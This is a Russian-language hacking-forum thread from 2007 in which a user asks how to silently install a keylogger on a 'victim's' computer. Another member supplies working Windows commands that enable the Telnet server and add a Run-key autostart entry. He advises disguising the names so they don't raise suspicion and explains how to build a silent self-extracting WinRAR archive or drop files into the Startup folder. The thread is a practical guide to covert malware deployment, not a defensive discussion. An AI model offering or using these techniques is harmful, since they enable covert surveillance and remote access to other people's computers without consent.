Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)
-   -   Прошу помочь со скрытой установкой. (https://forum.antichat.xyz/showthread.php?t=47064)

ufoPlast 19.08.2007 13:55
Прошу помочь со скрытой установкой.
 
Смысл в том что бы сделать допустим .Ват файл которы при запуске устанавливал нужное приложение на комп жертвы. То есть кидал файлы на диск, пропитывался в реестре и в автозагрузке. Ну или хотя бы что то близкое к этому.:)


Поделитесь материалом или советом. Спасибо.

ufoPlast 19.08.2007 14:08
Цитата:
Сообщение от Feshh
типа у себя на компе запустил а у жертвы незаметно поставилось? если так ты хочешь то это практически нереал


Нет конечно. Идея такова. Я веру допустим кейлоггер без удаленной становки и хочу сделать эту установку. И соответственно креплю к чему то...

DeBugger 19.08.2007 15:08
Вот пример команды, с помощью которой можно включить на компе жертвы сервер Telnet (на WinXP Pro SP2). Команда работает из BAT или CMD-файлов.
Код:
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f
Работать будет, но приконнектиться получится редко. Если хочешь вписать программу в автозапуск, пробуй что-то вроде:
Код:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperProga /t REG_SZ /d C:\\WINDOWS\\system32\\proga.exe /f
Это пример для запуска через Machine Run. Есть другие варианты, выбирай. Вместо "SuperProga" и "proga.exe" стоит придумать звучные названия, не вызывающие подозрений.

ufoPlast 19.08.2007 15:17
Цитата:
Сообщение от DeBugger
Вот пример команды, с помощью которой можно включить на компе жертвы сервер Telnet (на WinXP Pro SP2). Команда работает из BAT или CMD-файлов.
Код:
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f
Работать будет, но приконнектиться получится редко. Если хочешь вписать программу в автозапуск, пробуй что-то вроде:
Код:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v SuperProga /t REG_SZ /d C:\\WINDOWS\\system32\\proga.exe /f
Это пример для запуска через Machine Run. Есть другие варианты, выбирай. Вместо "SuperProga" и "proga.exe" стоит придумать звучные названия, не вызывающие подозрений.


А сама установка? Ну в смысле установка нужных файлов. Может кто то еще что то знает?

DeBugger 19.08.2007 16:01
Сама установка - SFX-архив, созданный WinRAR'ом. Настройки архива соответствующие: Скрыть все диалоги, перезаписывать файлы без запроса, абсолютный путь (вписываешь какой тебе нужно). В поле "Выполнить после распаковки" вписываешь указанную выше команду для прописывания автозапуска. Если файл всего один, можно тупо распаковать его в автозагрузку (например, C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а). Туда народ смотрит нечасто почему-то...


Время: 12:46